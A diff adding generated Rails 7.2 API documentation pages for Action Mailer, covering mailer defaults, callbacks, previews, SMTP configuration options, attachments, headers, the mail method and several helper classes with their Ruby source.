Finally, Action Mailer also supports passing Proc and Lambda objects into the default hash, so you can define methods that evaluate as the message is being generated:

+ +
class NotifierMailer < ApplicationMailer
+  default 'X-Special-Header' => Proc.new { my_method }, to: -> { @inviter.email_address }
+
+  private
+    def my_method
+      'some complex call'
+    end
+end
+
+ +

Note that the proc/lambda is evaluated right at the start of the mail message generation, so if you set something in the default hash using a proc, and then set the same thing inside of your mailer method, it will get overwritten by the mailer method.

+ +

It is also possible to set these default options that will be used in all mailers through the default_options= configuration in config/application.rb:

+ +
config.action_mailer.default_options = { from: "no-reply@example.org" }
+
+ +

Callbacks

+ +

You can specify callbacks using before_action and after_action for configuring your messages, and using before_deliver and after_deliver for wrapping the delivery process. For example, when you want to add default inline attachments and log delivery for all messages sent out by a certain mailer class:

+ +
class NotifierMailer < ApplicationMailer
+  before_action :add_inline_attachment!
+  after_deliver :log_delivery
+
+  def welcome
+    mail
+  end
+
+  private
+    def add_inline_attachment!
+      attachments.inline["footer.jpg"] = File.read('/path/to/filename.jpg')
+    end
+
+    def log_delivery
+      Rails.logger.info "Sent email with message id '#{message.message_id}' at #{Time.current}."
+    end
+end
+
+ +

Action callbacks in Action Mailer are implemented using AbstractController::Callbacks, so you can define and configure callbacks in the same manner that you would use callbacks in classes that inherit from ActionController::Base.

+ +

Note that unless you have a specific reason to do so, you should prefer using before_action rather than after_action in your Action Mailer classes so that headers are parsed properly.

+ +

Rescuing Errors

+ +

rescue blocks inside of a mailer method cannot rescue errors that occur outside of rendering – for example, record deserialization errors in a background job, or errors from a third-party mail delivery service.

+ +

To rescue errors that occur during any part of the mailing process, use rescue_from:

+ +
class NotifierMailer < ApplicationMailer
+  rescue_from ActiveJob::DeserializationError do
+    # ...
+  end
+
+  rescue_from "SomeThirdPartyService::ApiError" do
+    # ...
+  end
+
+  def notify(recipient)
+    mail(to: recipient, subject: "Notification")
+  end
+end
+
+ +

Previewing emails

+ +

You can preview your email templates visually by adding a mailer preview file to the ActionMailer::Base.preview_paths. Since most emails do something interesting with database data, you’ll need to write some scenarios to load messages with fake data:

+ +
class NotifierMailerPreview < ActionMailer::Preview
+  def welcome
+    NotifierMailer.welcome(User.first)
+  end
+end
+
+ +

Methods must return a Mail::Message object which can be generated by calling the mailer method without the additional deliver_now / deliver_later. The location of the mailer preview directories can be configured using the preview_paths option which has a default of test/mailers/previews:

+ +
config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
+
+ +

An overview of all previews is accessible at http://localhost:3000/rails/mailers on a running development server instance.

+ +

Previews can also be intercepted in a similar manner as deliveries can be by registering a preview interceptor that has a previewing_email method:

+ +
class CssInlineStyler
+  def self.previewing_email(message)
+    # inline CSS styles
+  end
+end
+
+config.action_mailer.preview_interceptors :css_inline_styler
+
+ +

Note that interceptors need to be registered both with register_interceptor and register_preview_interceptor if they should operate on both sending and previewing emails.

+ +

Configuration options

+ +

These options are specified on the class level, like ActionMailer::Base.raise_delivery_errors = true

+
  • +

    default_options - You can pass this in at a class level as well as within the class itself as per the above section.

    +
  • +

    logger - the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby’s own Logger and Log4r loggers.

    +
  • +

    smtp_settings - Allows detailed configuration for :smtp delivery method:

    +
    • +

      :address - Allows you to use a remote mail server. Just change it from its default β€œlocalhost” setting.

      +
    • +

      :port - On the off chance that your mail server doesn’t run on port 25, you can change it.

      +
    • +

      :domain - If you need to specify a HELO domain, you can do it here.

      +
    • +

      :user_name - If your mail server requires authentication, set the username in this setting.

      +
    • +

      :password - If your mail server requires authentication, set the password in this setting.

      +
    • +

      :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain (will send the password Base64 encoded), :login (will send the password Base64 encoded) or :cram_md5 (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)

      +
    • +

      :enable_starttls - Use STARTTLS when connecting to your SMTP server and fail if unsupported. Defaults to false. Requires at least version 2.7 of the Mail gem.

      +
    • +

      :enable_starttls_auto - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to true.

      +
    • +

      :openssl_verify_mode - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none' or 'peer') or directly the constant (OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER).

      +
    • +

      :ssl/:tls Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection)

      +
    • +

      :open_timeout Number of seconds to wait while attempting to open a connection.

      +
    • +

      :read_timeout Number of seconds to wait until timing-out a read(2) call.

      +
    +
  • +

    sendmail_settings - Allows you to override options for the :sendmail delivery method.

    +
    • +

      :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.

      +
    • +

      :arguments - The command line arguments. Defaults to %w[ -i ] with -f sender@address added automatically before the message is sent.

      +
    +
  • +

    file_settings - Allows you to override options for the :file delivery method.

    +
    • +

      :location - The directory into which emails will be written. Defaults to the application tmp/mails.

      +
    +
  • +

    raise_delivery_errors - Whether or not errors should be raised if the email fails to be delivered.

    +
  • +

    delivery_method - Defines a delivery method. Possible values are :smtp (default), :sendmail, :test, and :file. Or you may provide a custom delivery method object e.g. MyOwnDeliveryMethodClass. See the Mail gem documentation on the interface you need to implement for a custom delivery agent.

    +
  • +

    perform_deliveries - Determines whether emails are actually sent from Action Mailer when you call .deliver on an email message or on an Action Mailer method. This is on by default but can be turned off to aid in functional testing.

    +
  • +

    deliveries - Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.

    +
  • +

    delivery_job - The job class used with deliver_later. Mailers can set this to use a custom delivery job. Defaults to ActionMailer::MailDeliveryJob.

    +
  • +

    deliver_later_queue_name - The queue name used by deliver_later with the default delivery_job. Mailers can set this to use a custom queue name.

    +
+ +
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
PROTECTED_IVARS=AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [:@_action_has_layout]
+ + + + +

Attributes

+ + + + + + + + +
+ [W] + mailer_name

Allows to set the name of current mailer.

+ + + + +

Class Public methods

+ +
+

+ + controller_path() + +

+ + +
+ +
+ + + + + +
+ Alias for: mailer_name +
+ + + + +
+ +
+

+ + default(value = nil) + +

+ + +
+

Sets the defaults through app configuration:

+ +
config.action_mailer.default(from: "no-reply@example.org")
+
+ +

Aliased by ::default_options=

+
+ + + +
+ Also aliased as: default_options= +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 582
+      def default(value = nil)
+        self.default_params = default_params.merge(value).freeze if value
+        default_params
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_options=(value = nil) + +

+ + +
+

Allows to set defaults through app configuration:

+ +
config.action_mailer.default_options = { from: "no-reply@example.org" }
+
+
+ + + + + +
+ Alias for: default +
+ + + + +
+ +
+

+ + email_address_with_name(address, name) + +

+ + +
+

Returns an email in the format β€œName <email@example.com>”.

+ +

If the name is a blank string, it returns just the address.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 607
+      def email_address_with_name(address, name)
+        Mail::Address.new.tap do |builder|
+          builder.address = address
+          builder.display_name = name.presence
+        end.to_s
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mailer_name() + +

+ + +
+

Returns the name of the current mailer. This method is also being used as a path for a view lookup. If this is an anonymous mailer, this method will return anonymous instead.

+
+ + + +
+ Also aliased as: controller_path +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 570
+      def mailer_name
+        @mailer_name ||= anonymous? ? "anonymous" : name.underscore
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 643
+    def initialize
+      super()
+      @_mail_was_called = false
+      @_message = Mail.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_interceptor(interceptor) + +

+ + +
+

Register an Interceptor which will be called before mail is sent. Either a class, string, or symbol can be passed in as the Interceptor. If a string or symbol is passed in it will be camelized and constantized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 547
+      def register_interceptor(interceptor)
+        Mail.register_interceptor(observer_class_for(interceptor))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_interceptors(*interceptors) + +

+ + +
+

Register one or more Interceptors which will be called before mail is sent.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 521
+      def register_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| register_interceptor(interceptor) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_observer(observer) + +

+ + +
+

Register an Observer which will be notified when mail is delivered. Either a class, string, or symbol can be passed in as the Observer. If a string or symbol is passed in it will be camelized and constantized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 533
+      def register_observer(observer)
+        Mail.register_observer(observer_class_for(observer))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + register_observers(*observers) + +

+ + +
+

Register one or more Observers which will be notified when mail is delivered.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 511
+      def register_observers(*observers)
+        observers.flatten.compact.each { |observer| register_observer(observer) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_path?() + +

+ + +
+

Emails do not support relative path links.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 942
+      def self.supports_path? # :doc:
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister_interceptor(interceptor) + +

+ + +
+

Unregister a previously registered Interceptor. Either a class, string, or symbol can be passed in as the Interceptor. If a string or symbol is passed in it will be camelized and constantized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 554
+      def unregister_interceptor(interceptor)
+        Mail.unregister_interceptor(observer_class_for(interceptor))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister_interceptors(*interceptors) + +

+ + +
+

Unregister one or more previously registered Interceptors.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 526
+      def unregister_interceptors(*interceptors)
+        interceptors.flatten.compact.each { |interceptor| unregister_interceptor(interceptor) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister_observer(observer) + +

+ + +
+

Unregister a previously registered Observer. Either a class, string, or symbol can be passed in as the Observer. If a string or symbol is passed in it will be camelized and constantized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 540
+      def unregister_observer(observer)
+        Mail.unregister_observer(observer_class_for(observer))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unregister_observers(*observers) + +

+ + +
+

Unregister one or more previously registered Observers.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 516
+      def unregister_observers(*observers)
+        observers.flatten.compact.each { |observer| unregister_observer(observer) }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + attachments() + +

+ + +
+

Allows you to add attachments to an email, like so:

+ +
mail.attachments['filename.jpg'] = File.read('/path/to/filename.jpg')
+
+ +

If you do this, then Mail will take the file name and work out the mime type. It will also set the Content-Type, Content-Disposition, and Content-Transfer-Encoding, and encode the contents of the attachment in Base64.

+ +

You can also specify overrides if you want by passing a hash instead of a string:

+ +
mail.attachments['filename.jpg'] = {mime_type: 'application/gzip',
+                                    content: File.read('/path/to/filename.jpg')}
+
+ +

If you want to use encoding other than Base64 then you will need to pass encoding type along with the pre-encoded content as Mail doesn’t know how to decode the data:

+ +
file_content = SpecialEncode(File.read('/path/to/filename.jpg'))
+mail.attachments['filename.jpg'] = {mime_type: 'application/gzip',
+                                    encoding: 'SpecialEncoding',
+                                    content: file_content }
+
+ +

You can also search for specific attachments:

+ +
# By Filename
+mail.attachments['filename.jpg']   # => Mail::Part object or nil
+
+# or by index
+mail.attachments[0]                # => Mail::Part (first attachment)
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 760
+    def attachments
+      if @_mail_was_called
+        LateAttachmentsProxy.new(@_message.attachments)
+      else
+        @_message.attachments
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + email_address_with_name(address, name) + +

+ + +
+

Returns an email in the format β€œName <email@example.com>”.

+ +

If the name is a blank string, it returns just the address.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 684
+    def email_address_with_name(address, name)
+      self.class.email_address_with_name(address, name)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + headers(args = nil) + +

+ + +
+

Allows you to pass random and unusual headers to the new Mail::Message object which will add them to itself.

+ +
headers['X-Special-Domain-Specific-Header'] = "SecretValue"
+
+ +

You can also pass a hash into headers of header field names and values, which will then be set on the Mail::Message object:

+ +
headers 'X-Special-Domain-Specific-Header' => "SecretValue",
+        'In-Reply-To' => incoming.message_id
+
+ +

The resulting Mail::Message will have the following in its header:

+ +
X-Special-Domain-Specific-Header: SecretValue
+
+ +

Note about replacing already defined headers:

+
  • +

    subject

    +
  • +

    sender

    +
  • +

    from

    +
  • +

    to

    +
  • +

    cc

    +
  • +

    bcc

    +
  • +

    reply-to

    +
  • +

    orig-date

    +
  • +

    message-id

    +
  • +

    references

    +
+ +

Fields can only appear once in email headers while other fields such as X-Anything can appear multiple times.

+ +

If you want to replace any header which already exists, first set it to nil in order to reset the value otherwise another field will be added for the same header.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 722
+    def headers(args = nil)
+      if args
+        @_message.headers(args)
+      else
+        @_message
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mail(headers = {}, &block) + +

+ + +
+

The main method that creates the message and renders the email templates. There are two ways to call this method, with a block, or without a block.

+ +

It accepts a headers hash. This hash allows you to specify the most used headers in an email message, these are:

+
  • +

    :subject - The subject of the message, if this is omitted, Action Mailer will ask the Rails I18n class for a translated :subject in the scope of [mailer_scope, action_name] or if this is missing, will translate the humanized version of the action_name

    +
  • +

    :to - Who the message is destined for, can be a string of addresses, or an array of addresses.

    +
  • +

    :from - Who the message is from

    +
  • +

    :cc - Who you would like to Carbon-Copy on this email, can be a string of addresses, or an array of addresses.

    +
  • +

    :bcc - Who you would like to Blind-Carbon-Copy on this email, can be a string of addresses, or an array of addresses.

    +
  • +

    :reply_to - Who to set the Reply-To header of the email to.

    +
  • +

    :date - The date to say the email was sent on.

    +
+ +

You can set default values for any of the above headers (except :date) by using the ::default class method:

+ +
class Notifier < ActionMailer::Base
+  default from: 'no-reply@test.lindsaar.net',
+          bcc: 'email_logger@test.lindsaar.net',
+          reply_to: 'bounces@test.lindsaar.net'
+end
+
+ +

If you need other headers not listed above, you can either pass them in as part of the headers hash or use the headers['name'] = value method.

+ +

When a :return_path is specified as header, that value will be used as the β€˜envelope from’ address for the Mail message. Setting this is useful when you want delivery notifications sent to a different address than the one in :from. Mail will actually use the :return_path in preference to the :sender in preference to the :from field for the β€˜envelope from’ value.

+ +

If you do not pass a block to the mail method, it will find all templates in the view paths using by default the mailer name and the method name that it is being called from, it will then create parts for each of these templates intelligently, making educated guesses on correct content type and sequence, and return a fully prepared Mail::Message ready to call :deliver on to send.

+ +

For example:

+ +
class Notifier < ActionMailer::Base
+  default from: 'no-reply@test.lindsaar.net'
+
+  def welcome
+    mail(to: 'mikel@test.lindsaar.net')
+  end
+end
+
+ +

Will look for all templates at β€œapp/views/notifier” with name β€œwelcome”. If no welcome template exists, it will raise an ActionView::MissingTemplate error.

+ +

However, those can be customized:

+ +
mail(template_path: 'notifications', template_name: 'another')
+
+ +

And now it will look for all templates at β€œapp/views/notifications” with name β€œanother”.

+ +

If you do pass a block, you can render specific templates of your choice:

+ +
mail(to: 'mikel@test.lindsaar.net') do |format|
+  format.text
+  format.html
+end
+
+ +

You can even render plain text directly without using a template:

+ +
mail(to: 'mikel@test.lindsaar.net') do |format|
+  format.text { render plain: "Hello Mikel!" }
+  format.html { render html: "<h1>Hello Mikel!</h1>".html_safe }
+end
+
+ +

Which will render a multipart/alternative email with text/plain and text/html parts.

+ +

The block syntax also allows you to customize the part headers if desired:

+ +
mail(to: 'mikel@test.lindsaar.net') do |format|
+  format.text(content_transfer_encoding: "base64")
+  format.html
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 869
+    def mail(headers = {}, &block)
+      return message if @_mail_was_called && headers.blank? && !block
+
+      # At the beginning, do not consider class default for content_type
+      content_type = headers[:content_type]
+
+      headers = apply_defaults(headers)
+
+      # Apply charset at the beginning so all fields are properly quoted
+      message.charset = charset = headers[:charset]
+
+      # Set configure delivery behavior
+      wrap_delivery_behavior!(headers[:delivery_method], headers[:delivery_method_options])
+
+      assign_headers_to_message(message, headers)
+
+      # Render the templates and blocks
+      responses = collect_responses(headers, &block)
+      @_mail_was_called = true
+
+      create_parts_from_responses(message, responses)
+      wrap_inline_attachments(message)
+
+      # Set up content type, reapply charset and handle parts order
+      message.content_type = set_content_type(message, content_type, headers[:content_type])
+      message.charset      = charset
+
+      if message.multipart?
+        message.body.set_sort_order(headers[:parts_order])
+        message.body.sort_parts!
+      end
+
+      message
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mailer_name() + +

+ + +
+

Returns the name of the mailer object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 677
+    def mailer_name
+      self.class.mailer_name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + default_i18n_subject(interpolations = {}) + +

+ + +
+

Translates the subject using Rails I18n class under [mailer_scope, action_name] scope. If it does not find a translation for the subject under the specified scope it will default to a humanized version of the action_name. If the subject has interpolations, you can pass them through the interpolations parameter.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 936
+      def default_i18n_subject(interpolations = {}) # :doc:
+        mailer_scope = self.class.mailer_name.tr("/", ".")
+        I18n.t(:subject, **interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + set_content_type(m, user_content_type, class_default) + +

+ + +
+

Used by mail to set the content type of the message.

+ +

It will use the given user_content_type, or multipart if the mail message has any attachments. If the attachments are inline, the content type will be β€œmultipart/related”, otherwise β€œmultipart/mixed”.

+ +

If there is no content type passed in via headers, and there are no attachments, or the message is multipart, then the default content type is used.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 914
+      def set_content_type(m, user_content_type, class_default) # :doc:
+        params = m.content_type_parameters || {}
+        case
+        when user_content_type.present?
+          user_content_type
+        when m.has_attachments?
+          if m.attachments.all?(&:inline?)
+            ["multipart", "related", params]
+          else
+            ["multipart", "mixed", params]
+          end
+        when m.multipart?
+          ["multipart", "alternative", params]
+        else
+          m.content_type || class_default
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Base/LateAttachmentsProxy.html b/src/7.2/classes/ActionMailer/Base/LateAttachmentsProxy.html new file mode 100644 index 0000000000..329fbe31b0 --- /dev/null +++ b/src/7.2/classes/ActionMailer/Base/LateAttachmentsProxy.html @@ -0,0 +1,142 @@ +--- +title: ActionMailer::Base::LateAttachmentsProxy +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + []=(_name, _content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 770
+      def []=(_name, _content); _raise_error end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inline() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/base.rb, line 769
+      def inline; self end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Callbacks.html b/src/7.2/classes/ActionMailer/Callbacks.html new file mode 100644 index 0000000000..ed711affc4 --- /dev/null +++ b/src/7.2/classes/ActionMailer/Callbacks.html @@ -0,0 +1,81 @@ +--- +title: ActionMailer::Callbacks +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Callbacks/ClassMethods.html b/src/7.2/classes/ActionMailer/Callbacks/ClassMethods.html new file mode 100644 index 0000000000..c162fe9157 --- /dev/null +++ b/src/7.2/classes/ActionMailer/Callbacks/ClassMethods.html @@ -0,0 +1,179 @@ +--- +title: ActionMailer::Callbacks::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + after_deliver(*filters, &blk) + +

+ + +
+

Defines a callback that will get called right after the message’s delivery method is finished.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/callbacks.rb, line 21
+      def after_deliver(*filters, &blk)
+        set_callback(:deliver, :after, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + around_deliver(*filters, &blk) + +

+ + +
+

Defines a callback that will get called around the message’s deliver method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/callbacks.rb, line 26
+      def around_deliver(*filters, &blk)
+        set_callback(:deliver, :around, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + before_deliver(*filters, &blk) + +

+ + +
+

Defines a callback that will get called right before the message is sent to the delivery method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/callbacks.rb, line 15
+      def before_deliver(*filters, &blk)
+        set_callback(:deliver, :before, *filters, &blk)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/Collector.html b/src/7.2/classes/ActionMailer/Collector.html new file mode 100644 index 0000000000..172f89e9ba --- /dev/null +++ b/src/7.2/classes/ActionMailer/Collector.html @@ -0,0 +1,256 @@ +--- +title: ActionMailer::Collector +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + responses
+ + + + +

Class Public methods

+ +
+

+ + new(context, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/collector.rb, line 12
+    def initialize(context, &block)
+      @context = context
+      @responses = []
+      @default_render = block
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + all(*args, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: any +
+ + + + +
+ +
+

+ + any(*args, &block) + +

+ + +
+ +
+ + + +
+ Also aliased as: all +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/collector.rb, line 18
+    def any(*args, &block)
+      options = args.extract_options!
+      raise ArgumentError, "You have to supply at least one format" if args.empty?
+      args.each { |type| send(type, options.dup, &block) }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + custom(mime, options = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/collector.rb, line 25
+    def custom(mime, options = {})
+      options.reverse_merge!(content_type: mime.to_s)
+      @context.formats = [mime.to_sym]
+      options[:body] = block_given? ? yield : @default_render.call
+      @responses << options
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/DeliveryMethods.html b/src/7.2/classes/ActionMailer/DeliveryMethods.html new file mode 100644 index 0000000000..9c0b05c440 --- /dev/null +++ b/src/7.2/classes/ActionMailer/DeliveryMethods.html @@ -0,0 +1,75 @@ +--- +title: ActionMailer::DeliveryMethods +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer DeliveryMethods

+ +

This module handles everything related to mail delivery, from registering new delivery methods to configuring the mail object to be sent.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/DeliveryMethods/ClassMethods.html b/src/7.2/classes/ActionMailer/DeliveryMethods/ClassMethods.html new file mode 100644 index 0000000000..c6b7d9fe9c --- /dev/null +++ b/src/7.2/classes/ActionMailer/DeliveryMethods/ClassMethods.html @@ -0,0 +1,114 @@ +--- +title: ActionMailer::DeliveryMethods::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Helpers for creating and wrapping delivery behavior, used by DeliveryMethods.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + add_delivery_method(symbol, klass, default_options = {}) + +

+ + +
+

Adds a new delivery method through the given class using the given symbol as alias and the default options supplied.

+ +
add_delivery_method :sendmail, Mail::Sendmail,
+  location:  '/usr/sbin/sendmail',
+  arguments: %w[ -i ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/delivery_methods.rb, line 51
+      def add_delivery_method(symbol, klass, default_options = {})
+        class_attribute(:"#{symbol}_settings") unless respond_to?(:"#{symbol}_settings")
+        public_send(:"#{symbol}_settings=", default_options)
+        self.delivery_methods = delivery_methods.merge(symbol.to_sym => klass).freeze
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/FormBuilder.html b/src/7.2/classes/ActionMailer/FormBuilder.html new file mode 100644 index 0000000000..af29a5b904 --- /dev/null +++ b/src/7.2/classes/ActionMailer/FormBuilder.html @@ -0,0 +1,126 @@ +--- +title: ActionMailer::FormBuilder +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer Form Builder

+ +

Override the default form builder for all views rendered by this mailer and any of its descendants. Accepts a subclass of ActionView::Helpers::FormBuilder.

+ +

While emails typically will not include forms, this can be used by views that are shared between controllers and mailers.

+ +

For more information, see ActionController::FormBuilder.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + default_form_builder() + +

+ + +
+

Default form builder for the mailer

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/form_builder.rb, line 33
+    def default_form_builder
+      self.class._default_form_builder
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/FormBuilder/ClassMethods.html b/src/7.2/classes/ActionMailer/FormBuilder/ClassMethods.html new file mode 100644 index 0000000000..1f6cf1f3e1 --- /dev/null +++ b/src/7.2/classes/ActionMailer/FormBuilder/ClassMethods.html @@ -0,0 +1,106 @@ +--- +title: ActionMailer::FormBuilder::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + default_form_builder(builder) + +

+ + +
+

Set the form builder to be used as the default for all forms in the views rendered by this mailer and its subclasses.

+ +

Parameters

+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionmailer/lib/action_mailer/form_builder.rb, line 27
+      def default_form_builder(builder)
+        self._default_form_builder = builder
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionMailer/InlinePreviewInterceptor.html b/src/7.2/classes/ActionMailer/InlinePreviewInterceptor.html new file mode 100644 index 0000000000..7e5c61a414 --- /dev/null +++ b/src/7.2/classes/ActionMailer/InlinePreviewInterceptor.html @@ -0,0 +1,98 @@ +--- +title: ActionMailer::InlinePreviewInterceptor +layout: default +--- +
+ +
+
+ +
+ +

Action Mailer InlinePreviewInterceptor

+ +

Implements a mailer preview interceptor that converts image tag src attributes that use inline cid: style URLs to data: style URLs so that they are visible when previewing an HTML email in a web browser.

+ +

This interceptor is enabled by default. To disable it, delete it from the ActionMailer::Base.preview_interceptors array:

+ +
ActionMailer::Base.preview_interceptors.delete(ActionMailer::InlinePreviewInterceptor)
+
+ +
+ + + + + + + + + + + + + + +

Included Modules

+
    + +
  • + + Base64 + +
  • + +
+ + + + + + + + + +

Constants

+ + + + + + + + + +
PATTERN=/src=(?:"cid:[^"]+"|'cid:[^']+')/i
+ + + + + + + + + +
+ +
+
